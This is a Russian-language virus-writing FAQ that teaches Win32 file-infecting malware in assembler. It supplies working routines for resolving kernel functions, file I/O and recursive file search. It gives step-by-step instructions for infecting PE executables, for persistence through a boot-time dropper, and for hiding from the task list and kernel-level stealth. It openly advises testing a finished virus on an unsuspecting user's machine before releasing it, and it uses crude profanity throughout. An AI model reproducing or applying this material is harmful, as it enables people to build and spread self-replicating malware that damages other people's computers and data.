FAQ:Вирусы под Win32 - 13:10 - by z0mbie
 
                                Версия 1.00

  Этот текст предназначается для тех, кто уже освоил ассемблер и вирусы
  под DOS, а теперь начал разбираться и с более интересной и перспективной
  платформой.

  1. Что потребуется
  2. Отладка и тестирование
  3. Отладчики
  4. Организация памяти в win32 -- введение
  5. PE-файлы
  6. Вызов кернеловских функций
  7. Работа с файлами
  8. Заражение PE-файлов
  9. Поиск файлов
  10. Резидентность (ring-3)

  1. Что потребуется
  ~~~~~~~~~~~~~~~~~~

  Итак, вы возжелали написать вирус под win32, и непременно на ассемблере.

  Это правильное решение, учитывая то, что не умея писать вирусы на
  ассемблере, совершенно нереально писать хорошие вирусы/черви на C/C++.

  Но, ассемблер -- штука сложная, и там, где на C++ надо
  пять-десять строк и две минуты -- без последующей отладки,
  на ассемблере надо сто строк и пол-часа -- и еще пол-часа на отладку.

  Так что от вас потребуется большое желание писать вирусы,
  ну и несколько месяцев времени.

  Итак, вы должны слегка знать 32-битный ассемблер --
  тот, в котором EAX'ы вместо AX'ов.
  Перейти сразу с 16-битного асма на 32-битный -- НЕ ПОЛУЧИТСЯ,
  а тем более сделать это параллельно с изучением вирусов под win32.

  На компьютере, где вы работаете с этим текстом,
  потребуется следующий софт:

        - Windows 95/98/NT/2000 (рекомендую Win98)
        - 32-битный ассемблер TASM 5.0
            необходимы файлы:
              tasm32.exe, tlink32.exe, import32.lib, *.inc
        - отладчик Soft-ICE под Windows (например Soft-Ice 4.00)
            сдесь следует проявить настойчивость, и, если айс глючит, то
            1. найти более новый/старый айс
            2. попробовать другие винды
            3. поменять железо
        - удобная файловая оболочка и текстовый редактор
            Необходимо добиться, чтобы компиляция файла достигалась нажатием
            не более одной-двух клавиш.
            Тут я рекомендую Dos Navigator, некоторые пользуют Far+MultiEdit.
        - нужно, но не необходимо
            HIEW
            IDA Pro
        - _НИКАКИХ_ (выкинуть в помойку):
            TurboDebugger, Norton/Volkov Commander, HyperTerminal, etc.

  Кроме этого, потребуется такая документация, как:

        - WIN32.HLP -- жизненно необходимо;
            занимает около 12 MB, я взял из в Borland C++,
            есть также в бормановском билдере, наверное есть в SDK
            ФИШКА:
            параметры всех функций описанных для C-вызовов,
            на асме надо PUSH-ить в ОБРАТНОМ порядке
        - DDPR.HLP -- необходимо для win9X ring-0/VxD
            есть в DDK
        - лучше чтоб были SDK и DDK
            это такие здоровые архивы с доками, инклюдниками и прочим стаффом,
            для написания простых аппликух и драйверов соответственно


  2. Отладка и тестирование
  ~~~~~~~~~~~~~~~~~~~~~~~~~

  Поговорим от том, как наиболее эффективно производить отладку
  и тестирование вирусов, независимо от их написания.

  Задача:
  1. Взять какой-нибудь простой ЧУЖОЙ win32-вирус в исходниках
     рекомендую любой из in-the-wild вирусов (получивших распространение)
  2. Откомпилировать, запустить и размножить
  3. Пройтись по нему отладчиком
  4. Вернуть машину в исходное состояние (убрать вирус)
  5. Сделать это за минимальный срок

  Научившись проделывать подобное, вы получите необходимый опыт,
  который поможет в написании и отладке уже своих вирусов.

  В общем-то это ваше домашнее задание, и лучше чтобы вы так поигрались
  не с одним, а с двумя-тремя разными вирусами.

  Всего есть четыре последовательных уровня отладки готового кода:

  1. Тестирование свеженаписанного куска кода -- отдельно от вируса
  2. Отладка новой модификации вируса (после добавления свеженаписанного кода)
     -- на своей машине; в целях безопасности --
        измените все используемые расширения с .EXE
        (и/или сигнатуры с PE00) на что-нибудь другое,
        как в вирусе так и у файлов-жертв
  3. Отладка полностью работающего вируса -- на своей машине
     -- для этого требуется:
            1. создать на винте отдельный раздел
            2. сделать две версии таблицы разделов в MBR'е, таких,
               чтобы при основном MBR'е были видны все разделы,
               а при "вирусном" MBR'е работал только "вирусный" раздел
            3. Написать пару программок прописывающих эти MBR'ы на винт
            4. Загрузиться с "вирусного" раздела и установить на нем
               восстанавливалку оригинального MBR'а, винды, софт-айс,
               ну и что там еще понадобится
            5. Загрузиться с нормального раздела и заархивировать весь
               вирусный раздел в один файл
            6. Написать .BAT-файл, форматирующий (стирающий) вирусный
               раздел и распаковывающий туда весь запакованный стафф
               (установленные винды, айс, и т.п.)
            7. Сделать дискету, на нее записать программу, восстанавливающую
               оригинальный MBR
     -- В результате для тестирования вируса потребуется:
            1. запустить BAT файл и через 5 мин у вас будет готовый к
               тестированию раздел
            2. записать на "вирусный" раздел подлежащий тестированию вирус
            3. запустить программку, прописывающую "вирусный" MBR на винт
            4. перезагрузиться
            5. размножить/отладить вирус на "вирусном" разделе
            6. прописать нормальный MBR обратно (другая програмка)
            7. перезагрузиться в "нормальный" раздел
     -- все технические приготовления для одного такого тестирования должны
        занимать не более 5-10 минут; иначе это будет неэффективно.
        Конечно, можно тестировать вирус и на "своем" разделе, а потом
        либо написать свой собственный антивирус либо переставить винды;
        можно таким же образом восстанавливать "свои" винды.
  4. Отладка полностью работающего вируса на чужой машине --
     -- этот этап предшествует выпуску вируса вируса в жизнь, но отличается
        от него тем, что за машиной будет живой юзер и потом вы сможете
        узнать о результате (не от юзера, естественно)


  3. Отладчики
  ~~~~~~~~~~~~

  Единственный отладчик, который потребуется -- это Soft-Ice.

  Основные команды в нем почти те же самые, что и в досовском DEBUG.EXE,
  который обязан знать каждый.
  На любую комбинацию команд можно назначить хоткей.

  Просмотреть в айсе команды можно написав в командной строке h (или help),
  можно также использовать ? в DEBUG.EXE  -- это более понятно.


  4. Организация памяти в win32 -- введение
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  Всего рассказать не смогу, ибо не знаю;
  поэтому для начала просмотрите все доки, которые у вас есть на эту тему.
  Рекомендую взять описание какого-нибудь процессора (386,486,586),
  там будут главы посвященные организации памяти. Лучше нет ничего.

  Итак, win32 -- мультизадачная система, и в ней живут много процессов
  (программ). И каждый процесс находится в своем собственном 32-битном
  виртуальном_адресном_пространстве.

  32-битное значит, что всего в этом пространстве 2^32 байт, или 4 гига.
  По сути виртуальное_адресное_пространство представляет из себя
  набор 4-килобайтных страниц обычной (физической) памяти,
  "отображенных" в самые разные "виртуальные" адреса (кратные 4-м килобайтам),
  от 0 до 0xFFFFF000.
  Те места, куда ничего "не отображено" -- "пустые" (их большинство),
  при чтении/записи возникает ошибка.


  физ.память,                   виртуальная память,
  пусть будет 16 MB             4 гига

   4k   ______________________>  4k     выделено, подгружено(==в физ. памяти)
                                      
   4k    свободно               ::::::  пусто
                             >   4k   
   4k                        |          выделено, выгружено(==в свопе)
                             |  ::::::
  ::::::                     |  ::::::  пусто (==не выделено)
  файл на харде              |  ::::::
  (своп), дохуя MB           |   4k     выделено, но еще не было доступа
   4k   _____________________|        
                                ::::::
  ::::::                        ::::::

  Все 4-килобайтные страницы в 4-гигабайтном пространстве могут быть
  ВЫДЕЛЕНЫ (allocate), и тогда соответствующим диапазонам виртуальных адресов
  будет соответствовать физическая память, на харде или в памяти.
  Страницы могут быть ОСВОБОЖДЕНЫ (free, deallocate), и тогда информация об
  отображении теряется, а физическая память "освобождается", то есть
  становится СВОБОДНОЙ для последующего использования.
  Выделенные страницы могут быть ПОДГРУЖЕНЫ (commit, lock), тогда они будут
  "зафиксированы", т.е. окажутся где-то в реальной физической памяти.
  Подгруженные страницы могут быть ВЫГРУЖЕНЫ (decommit, unlock),
  и тогда физическая память освободится, а данные из нее будут временно
  сброшены на диск в своп (swap-file).

  Реальная физическая память выделяется не при выделении страниц, а при
  первом к ним доступе.
  Подгрузка и выгрузка выделенных страниц (swapping) осуществляется
  автоматически, "прозрачно", то есть прикладному программеру не надо знать,
  где сейчас находится та или иная страница -- на диске или в памяти.

  То, что показано на рисунке (справа) -- это
  виртуальное_адресное_пространство одного процесса,
  а раз процессов таких много,
  то и виртуальных_адресных_пространств тоже много.

  Информация об отображении реальной памяти в виртуальную
  (одного виртуального_адресного_пространства),
  вместе со всеми данными хранящимися в этой памяти называется КОНТЕКСТом.
  И говорят, что каждый процесс существует в определенном контексте.
  В контексте каждого процесса находятся код/данные самого процесса,
  стэки, хеап (heap), код/данные ядра системы, используемые
  процессом библиотеки (DLL) и прочяя хрень.

  Представьте себе тетрадь в клетку, на каждом из листов что-то нарисовано.
  Клеточки -- это страницы памяти по 4k. Листы бумаги -- это контексты,
  или виртуальные_адресные_пространства.

  Благодаря множественности контекстов, разные программы могут существовать
  в разных контекстах по одним и тем же виртуальным адресам.

  Что где в памяти находится:

  смещение
  0x00000000 Первый мег -- DOS V86-задача,
             под win9X частично можно читать/писать.
  0x00200000 Три мега -- всякая хрень, вроде бы нечего там делать.
  0x00400000 2044 мега пользовательской памяти, в ней живет процесс
             и все его DLL-ки, стэки, хеапы, короче все юзерское дерьмо.
  0x80000000 2 гига -- системная память, kernel, ядро нулевого кольца,
             под win9X -- еще и VxD-драйвера

  Самая главная фишка.

  Заключается в том, что для каждой страницы существует так называемый
  уровень доступа.
  В win32 всего два уровня защиты: ring-3 (юзер) и ring-0 (ядро).
  Находясь в ring-0 свершенно наплевать какой уровень доступа у какой
  страницы -- все их (подгруженные) можно без проблем читать и писать.
  А вот для ring-3 есть несколько вариантов:
  1. страницы для чтения и записи (read-write)
  2. страницы только для чтения (read-only)
  3. хуй (ни читать ни писать в такие страницы нельзя)
  4. комбинации вышеперчисленных с испольнябельностью (executable),
     а также guard, writecopy и еще хер знает что --
     скорее всего ничего их этого вам не встретится.

  Идея в том, что кодовые страницы в системе помечаются как read-only,
  и поэтому их можно исполнять и читать, а вот писать в них нельзя.
  Это в основном страницы кода в kernel'е и в ваших PE-файлах.
  Проблема с PE-файлами решается добавленим нужного бита в ObjectTable
  при заражении файла, либо через VirtualProtect/WriteProcessMemory;
  проблема с kernel'ами и системными хернями решается
  (под маздаем) несколько более хитрыми приемами.


  5. PE-файлы
  ~~~~~~~~~~~

  PE (Portable Executable) -- это такой формат,
  в котором представлены практически все win32 EXE и DLL файлы.
  Поэтому с этим форматом мы и будем работать.

  Прежде всего, рассчитаны PE EXE/DLL файлы на работу в третьем кольце,
  через KERNEL32.DLL и прочие библиотеки.

  KERNEL32.DLL и другие библиотеки ЭКПОРТИРУЮТ (отдают) другим PE файлам
  кучу процедур, которые по существу и есть win32 api.

  Обычные PE файлы ИМПОРТИРУЮТ (принимают) из KERNEL'а и других DLL-ек часть
  функций, и через них общаются с системой.

  А сам KERNEL32.DLL и прочие работают уже с нулевым кольцом (больше 2-х гиг),
  где и происходит основная часть всех действий.

  Происходит все это так: в
  каждом PE файле есть структуры импорта и/или экспорта
  (хотя их там может и не быть), в которых записаны примерно такие вещи:
  импорт:  я, MAZAFUK.EXE, импортирую из KERNEL32.DLL функцию DeleteFile.
  экспорт: я, KERNEL32.DLL, экспортирую функцию DeleteFile.

  В результате при запуске MAZAFUK.EXE загрузчик обязан загрузить в
  контекст этого процесса KERNEL32.DLL и все остальные требуемые DLL-ки,
  а адреса импортируемых из них функций положить в специально
  для этого отведенные в MAZAFUCK.EXE дворды.
  Так что после загрузки, мазафак будет просто делать CALL'ы
  по соответствующим двордам.

  При написании PE-EXE файлов, ни о каких импортах/экспортах думать не надо,
  эти занимается линкер (tlink32.exe).
  Просто указываются следующие вещи:

  extern DeleteFileA:PROC        ; будет добавлено в импорт
  call   DeleteFileA             ; вызвать импортируемую процедуру

  public  mazafuk                ; будет добавлено в экспорт
  mazafuk: ...

  Вообще, нам ни импорт ни экспорт как таковые ненужны, потому что вирус
  посредством линкера ничего не импортирует и не экспортирует, оно ему
  просто не надо; вирус чаще всего находит адреса нужных ему процедур сам.


  Рассмотрим PE-файл в памяти. (полное описание формата смотрите отдельно)

  Файл этот состоит из следующих частей:
  MZ-заголовок
  PE-заголовок
  таблица секций (==таблица объектов)
  секции (несколько штук)

  Секции файла -- это такие его участки, в которых хранятся код, данные,
  ресурсы, и прочяя хрень.

  Нужно понять, что в отличие от, скажем, dos'овского
  COM файла, образ PE файлов в памяти не соответствует их образу на диске.
  Хотя, в отличие от dos'овских EXE-файлов, все их заголовки
  загружаются в память целиком.
  Идея в том, что разные секции загружаются в виртуальную память не так,
  как они хранятся на диске, то есть
  виртуальные_адреса_секций_относительно_начала_файла_в_памяти (RVA)
  не соответствуют
  физическим_адресам_секций_относительно_начала_файла_на_диске.
  Информация об этих несоответствиях и хранится в таблице секций.

  В PE-заголовке есть поле ImageBase.
  Оно выровнено на 64k, и указывает, начиная с какого
  виртуального адреса файл должен быть загружен в память.
  MZ-заголовок, PE-заголовок и таблица секций загружаются прямо по этому
  адресу, как они есть.
  Дальше -- хуже. В соответствии с таблицей секций,
  под каждую секцию выделяется память чуть дальше заголовков,
  но совсем не обязательно подряд.
  То есть если в файле все секции лежат одна за другой,
  то после загрузки в память между
  секциями могут оказаться куски "неинициализированной" памяти,
  за счет того, что в исходнике в конце любой секции
  может быть к примеру написано: DB 1000 dup (?)

  Исходя из этого, при работе с PE файлами для преобразования виртуального
  адреса в физический и обратно, приходится писать специальные процедуры.


  6. Вызов кернеловских функций
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  Это хитрая фишка, и ее надо отлаживать ОТДЕЛЬНО от всего прочего.
  Ваша задача: написать процедуру, которой на вход приходит имя
  (или хэш имени) некоторой функции из KERNEL32.DLL,
  а на выходе мы получаем адрес этой функции.

  Путь лежит через два шага:
  1. научиться получать адрес KERNEL32.DLL, и
  2. производить анализ кернеловских экспортов

  Адрес kernel'а во всех маздаях (win9x) суть BFF70000.
  Под winNT этот адрес другой, и, вроде бы,
  может быть разным в разных версиях.
  Что касается адресов экспортируемых функций, то они разные в каждой версии
  и маздая и NT'ей.

  При получении управления в PE файл прямо из загрузчика, на стэке
  лежит адрес возврата в загрузчик. В маздаях загрузчиком является
  KERNEL32.DLL, поэтому сняв со стэка адрес можно узнать адрес
  внутри kernel'а.
  С другой стороны, делать этого не нужно, так как в маздаях кернел
  фиксирован. Другое дело, winNT.
  Там, сняв со стэка адрес возврата мы получаем
  адрес какой-то там левой DLL-ки, далее выравниваем его на 64k и сканируем
  вниз до MZ. Там смотрим в экспорт и проверяем, не kernel ли это.
  Если не кернел, то анализируем уже ИМПОРТЫ, и только оттуда узнаем адрес
  какой-нибудь кернеловской функции. (она там наверняка будет)

  Как узнать адрес начала PE-файла зная ЛЮБОЙ виртуальный адрес внутри файла?

  Поскольку
  1. адрес загрузки PE файла выровнен на 64k,
  2. практически всю память от начала файла и до конца выделенной
     ему области можно читать
  3. в самом начале файла лежит MZ-заголовок
  то справедлив следующий алгоритм:

  1. взять любой виртуальный адрес внутри файла
  2. выровнять на 64k
  3. если по адресу НЕ байты 'MZ', то вычесть из адреса 64k и повторить 3


  Как анализировать kernel'овские экспорты?

  В зависимости от свободного времени, желания, и возможностей,
  есть такие пути:

  Путь 1, наилучший:

  Посмотреть формат PE файлов, ту его часть, где описаны экспорты,
  и, получив адрес kernel'а, самому разобрать его таблицу экспортов и найти
  адреса требуемых функций.

  Путь 2, весьма отстойный:

  Юзать директом следующий код:

; input:  EDI=имя функции kernel'а (например 'CreateProcessA')
; output: ZF=1, EAX=0 (function not found)
;         ZF=0, EAX=function va

get_proc_address:       pusha

                        mov     ebx, 0BFF70000h         ; get_kernel_base

                        mov     ecx, [ebx+3Ch]          ; mz_neptr
                        mov     ecx, [ecx+ebx+78h]      ; pe_exporttablerva
                        jecxz   __return_0
                        add     ecx, ebx

                        xor     esi, esi        ; current index
__search_cycle:         lea     edx, [esi*4+ebx]
                        add     edx, [ecx+20h]  ; ex_namepointersrva
                        mov     edx, [edx]      ; name va
                        add     edx, ebx        ; +imagebase

                        push    edi             ; compare names
__cmp_cycle:            mov     al, [edx]
                        cmp     al, [edi]
                        jne     __cmp_done
                        or      al, al
                        jz      __cmp_done
                        inc     edi
                        inc     edx
                        jmp     __cmp_cycle
__cmp_done:             pop     edi

                        je      __name_found

                        inc     esi             ; index++
                        cmp     esi, [ecx+18h]  ; ex_numofnamepointers
                        jb      __search_cycle

__return_0:             xor     eax, eax        ; return 0
                        jmp     __return

__name_found:           mov     edx, [ecx+24h]  ; ex_ordinaltablerva
                        add     edx, ebx        ; +imagebase
                        movzx   edx, word ptr [edx+esi*2]; edx=current ordinal
                        mov     eax, [ecx+1Ch]  ; ex_addresstablerva
                        add     eax, ebx        ; +imagebase
                        mov     eax, [eax+edx*4]; eax=current address
                        add     eax, ebx        ; +imagebase

__return:               mov     [esp+7*4], eax  ; popa.eax

                        popa
                        retn

  Глюки тут бывают такие:

  1. Если в программе вообще нет импортов, то -- вроде бы kernel подгружаться
  не должен -- но kernel это специальная dll'ка, кояя загружена всегда;
  взамен этого возникнут проблемы с вызовом кернеловских функций.
  Ситуация 'нет импортов' возникает, например, когда во всем сорце
  нет ни одной директивы EXTERN, а выход из файла происходит по RET'у.
  (такое возможно)

  2. Имена функций, иногда в зависимости от того, юзают ли они
  в качестве параметров символьные строки (а не только числа),
  могут кончаться на -A и на -W.
  Постфикс -A (ascii) значит, что строки в ASCII формате,
  то есть элементами строк являются БАЙТы, и кончаются они на 0.
  Постфикс -W (wide) значит, что элементами строк являются ВОРДы,
  это суть так называемые юникодные строки, а вообще это большая лажа,
  та как некоторые такие функции кернелом не поддерживаются.
  Функции эти (-A/-W) дублируются, то есть если есть одна, то скорее всего
  есть и другая; более того, у них одинаковые параметры вызовов, а все
  различия только в формате передаваемых им строк.
  Бывает, имена функций имеют в конце -Ex, то есть кончаются на Ex, ExA и ExW.
  Так вот, постфикс -Ex суть просто часть имени функции.
  Такие функции по сравнению со своими упрощенными (без Ex)
  вариантами, юзают большее (EXtended) число параметров, а могут упрощенных
  вариантов и не иметь. Как правило, внутри "упрощенных" функций управление
  передается на их -Ex - варианты.
  Так вот, о чем там я.
  Говно заключается в том, что в большинстве документаций описаны функции
  типа CreateFile, а на самом деле такой функции в kernel'е НЕТУ.
  А есть в кернеле две функции: CreateFileA и CreateFileW.
  Просто доки расчитаны на C-шный компилятор, который сам разберется, какого
  типа строки передаются этой функции, и добавит A или W соответственно.

  Поэтому, перед тем как передавать в свою
  процедуру_поиска_функций_в_кернеле имя какой-нибудь функции,
  убедитесь (гляньте в kernel32.dll) что такая функция
  там в точности существует.

  7. Работа с файлами
  ~~~~~~~~~~~~~~~~~~~

  Научившись получать из кернела функции, следует написать процедуры
  для работы с файлами.
  (открытие, получение длины, перемещение указателя, чтение/запись, закрытие)
  А затем удостовериться, что они работают.

  Что значит написать процедуры?
  Не надо их писать, они уже есть в кернеле. Но то, как они вызываются,
  оставляет желать лучшего, ибо им надо PUSH-ить кучу левых параметров.
  Поэтому рекомендую оформить работу с файлами подобно следующему:

  ; action: open file for read-write access
  ; input:  EDX=file name
  ; output: CF=0 -- EAX=handle
  ;         CF=1 -- error

  fopen_rw:             pusha
                        push    0
                        push    FILE_ATTRIBUTE_NORMAL
                        push    OPEN_EXISTING
                        push    0
                        push    FILE_SHARE_READ + FILE_SHARE_WRITE
                        push    GENERIC_READ + GENERIC_WRITE
                        push    edx
                        call    CreateFileA
                        cmp     eax, -1
                        je      error
                        clc
                        mov     [esp+7*4], eax          ; popa.eax
                        popa
                        retn
error:                  stc
                        popa
                        retn

  Более подробно эти функции приведены на моей страничке в maplib4.zip

  И еще одно. Некоторые любят использовать для работы с файлами макросы.
  Макросы эти будут вставлять в вирус немерянные куски кода, PUSH-ащие
  кучи нулей, и каждый такой макрос будет занимать байт по 30.
  Так что для уменьшения длины вируса и упрощения его отладки
  лучше юзать процедуры.

  Пример считывания файла в память:

  push    0
  push    80h     ; FILE_ATTRIBUTE_NORMAL
  push    3       ; 3=OPEN_EXISTING  2=CREATE_ALWAYS
  push    0
  push    1+2     ; 1=FILE_SHARE_READ 2=FILE_SHARE_WRITE
  push    080000000h+40000000h ; GENERIC_READ + GENERIC_WRITE
  push    offset FileName
  call    CreateFileA
  cmp     eax, -1
  je      __failed
  xchg    ebx, eax

  push    0
  push    ebx                     ; handle
  call    GetFileSize
  mov     bufsize, eax

  push    eax                     ; size
  push    0                       ; 0=GMEM_FIXED
  call    GlobalAlloc
  mov     bufptr, eax

  push    0
  push    offset bytesread        ; bytesread
  push    bufsize                 ; size
  push    bufptr                  ; buf
  push    ebx                     ; handle
  call    ReadFile

  push    ebx                     ; handle
  call    CloseHandle

  8. Заражение PE-файлов
  ~~~~~~~~~~~~~~~~~~~~~~

  После того, как мы научились получать из кернела процедуры и
  работать с файлами, нашей задачей является заразить какой-нибудь файл.
  Заражать поначалу лучше командой INT 3, с последующей передачей управления
  на оригинальную точку входа.

  Наиболее простым и эффективным методом заражения PE файла является
  добавление к его последней секции.
  Для этого надо:

   проверить физическую и виртуальную длину последней секции:
    если физическая длина окажется больше виртуальной, не трогать такой файл;
    также не трогайте файл если какая-либо из длин нулевая
   старую точку входа сохранить внутрь вируса;
   вычислить виртуальный адрес вируса в файле;
    это будет
     физический_адрес_конца_последней_секции  транслированный_в_виртуальный;
    добавив к нему VirusEntryPoint-VirusStart записать это дело в
     RVA точки входа (внутри PE-заголовка)
   по физическому_адресу_конца_последней_секции записать вирусный код
   физическую и виртуальную длины вируса округлить по
    FileAlignment и ObjectAlignment, взятым из PE-заголовка
   физическую длину последней секции -- увеличить на физическую длину вируса
   виртуальную длину последней секции -- увеличить на виртуальную длину вируса
   поле SizeOfImage внутри PE-заголовка -- установить равным
    виртуальному_адресу_начала_последней_секции +
    виртуальной_длине_последней_секции

  В принципе все.
  Кроме всего описанного, надо еще проверять такие вещи,
  как не оверлей ли это, не DLL-ка ли это и не нулевая ли точка входа,
  Если в файле нет импортов -- не заражать.
  Если в файле есть фиксапы, а вирус привязывается к imagebase -- не заражать.

  На практике такое заражение проявляется как
  1. считывание заголовков файла
  2. их анализ
  заражение:
  3. изменение заголовков и настройка вируса
  4. дописывание вируса к концу файла
  5. запись измененных заголовков назад в начало файла

  Убивать фиксапы можно только если это не DLL-ка;
  привязываться к imagebase можно только если отсутствуют (убиты) фиксапы.

  Переход на оригинальную точку входа рекомендуется делать
  командой JMP (опкод 0xE9).


  9. Поиск файлов
  ~~~~~~~~~~~~~~~

  Теперь осталось только научиться искать новые файлы.
  Опять же, это надо отлаживать отдельно.
  Поиск осуществляется фукциями FindFirstFileA / FindNextFileA / FindClose.
  Достаточно вставить нахождение пары файлов и их заражение в начало
  нашей программы, и простейший win32-вирус готов.

  Вот как примерно выглядит рекурсивная процедура поиска файлов в каталоге:

ff_struc                struc                   ; win32 "searchrec" structure
ff_attr                 dd      ?
ff_time_create          dd      ?,?
ff_time_lastaccess      dd      ?,?
ff_time_lastwrite       dd      ?,?
ff_size_hi              dd      ?
ff_size                 dd      ?
                        dd      ?,?
ff_fullname             db      260 dup (?)
ff_shortname            db      14 dup (?)
                        ends

; subroutine: process_directory
; action:     1. find all files in the current directory
;             2. for each found directory (except "."/"..") recursive call;
;                for each found file call process_file
; input:      EDI=ff_struc
;             EDX=directory name
; output:     none

process_directory:      pusha
                        sub     esp, 1024       ; место под имя директории

                        mov     esi, edx        ; в EDX имя диры
                        mov     edi, esp        ; свой буфер под имя

__1:                    lodsb                   ; копируем имя в свой буфер
                        stosb
                        or      al, al
                        jnz     __1

                        dec     edi             ; дира должна кончаться на '\'
                        mov     al, '\'
                        cmp     [edi-1], al
                        je      __3
                        stosb
__3:
                        mov     ebx, edi        ; EBX = указатель на файл

                        mov     eax, '*.*'      ; ищем: дира\*.*
                        stosd

                        mov     edi, [esp+1024] ; восстановим EDI

                        mov     eax, esp
                        push    edi             ; ff_struc, будет заполнена
                        push    eax             ; имя файлов для поиска
                        call    FindFirstFileA

                        xchg    esi, eax        ; ESI = хендл поиска

                        cmp     esi, -1         ; че-нить найдено?
                        je      __quit

__cycle:                pusha                   ; добавляем имя файла к дире
                        lea     esi, [edi].ff_fullname
                        mov     edi, ebx
__strcpy:               lodsb
                        stosb
                        or      al, al
                        jnz     __strcpy
                        popa

                        mov     edx, esp        ; EDX = полное найденное имя

                        test    byte ptr [edi].ff_attr, 16  ; дира?
                        jnz     __dir

                        call    process_file    ; обработать файл (EDX,EDI)

                        jmp     __next

__dir:                  lea     eax, [edi].ff_fullname
                        cmp     byte ptr [eax], '.'    ; skip ./../etc.
                        je      __next

                        call    process_directory       ; рекурсивный вызов

__next:                 push    edi             ; ff_struc, будет заполнена
                        push    esi             ; хендл поиска
                        call    FindNextFileA

                        or      eax, eax        ; есть файл?
                        jnz     __cycle

                        push    esi             ; ESI = хендл поиска
                        call    FindClose

__quit:                 add     esp, 1024
                        popa
                        retn

; input: EDX=full filename
;        EDI=ff_struc

process_file:           pusha

;                       ...

                        popa
                        retn


  10. Резидентность (ring-3)
  ~~~~~~~~~~~~~~~~~~~~~~~~~~

  Резидентность, такая как в DOS'овых TSR-программах, в win32 отсутствует.
  Это ясно из того, что система мультизадачная.
  Достаточно скрыть программу в памяти, и она будет молча, никому не мешая,
  работать, например искать и заражать новые файлы.

  Наиболее простой и эффективный способ "резидентности":
  Скопировать текущий файл в виндовую диру (GetWindowsDirectoryA, CopyFileA)
  под именем DROPPER.EXE, и прописать в системых настройках этот дроппер
  как выполняемый при загрузке.

  Вообще их всего два, способа резидентности: установка дроппера либо
  заражение какого-нибудь всегда загружаемого системного файла.
  В противном случае нет гарантии,
  что после перезагрузки мы получим управление.

  Как скрыть прогу от менюхи по ctrl-alt-del?
  Работает только в маздае;
  в winNT такой функции как RegisterServiceProcess нет,
  поэтому проверяйте, найдена ли она в экспортах.

                        push    1
                        push    0
                        call    RegisterServiceProcess

  Перечень запущенных процессов/модулей/нитей можно получить через
  Process32First/Next, Module32First/Next, Thread32First/Next.
  Поэтому на этих функциях можно делать стелс, впатчив кусок кода в кернел.

  Да, как вы наверное уже знаете, запущенные программы в win32 нельзя
  стереть/открыть на запись, а значит, и заразить.
  Есть два способа обхода этого дела, для win9X и для winNT.
  Под маздаем к %windir\wininit.ini дописываются 2 строчки:
  [rename]
  dstfile=srcfile
  И заражается не открытый файл, а его копия, которая затем при перезагрузке
  будет автоматом переименована в файл, а оригинальный файл стерт.
  Указанную херь к файлу удобно дописывать функцией
  WritePrivateProfileStringA.
  Под winNT дважды используется ф-ция MoveFileExA с параметром
  DELAY_UNTIL_REBOOT, первый раз чтоб стереть старый файл и второй раз для
  переименования.

  Нити.
  Нить (thread) -- это сущность, более всего напонимающая некий виртуальный
  процессор. В каждой нити -- свой набор регистров.
  Ваш процессор последовательно их (регистры) перезагружает и по нескольку
  долей секунды (кванты времени) работает то в одной то в другой нити.
  В результате с точки зрения нити, она испольняется параллельно с остальными.
  В каждом процессе есть как минимум одна нить -- основная.
  Хотя кроме основной, можно создавать и другие, используя CreateThread.
  Единственно и только с помощью CreateThread можно работать в адресном
  пространстве процесса параллельно с самим процессом.

win32vx.zip - Пример вируса к статье.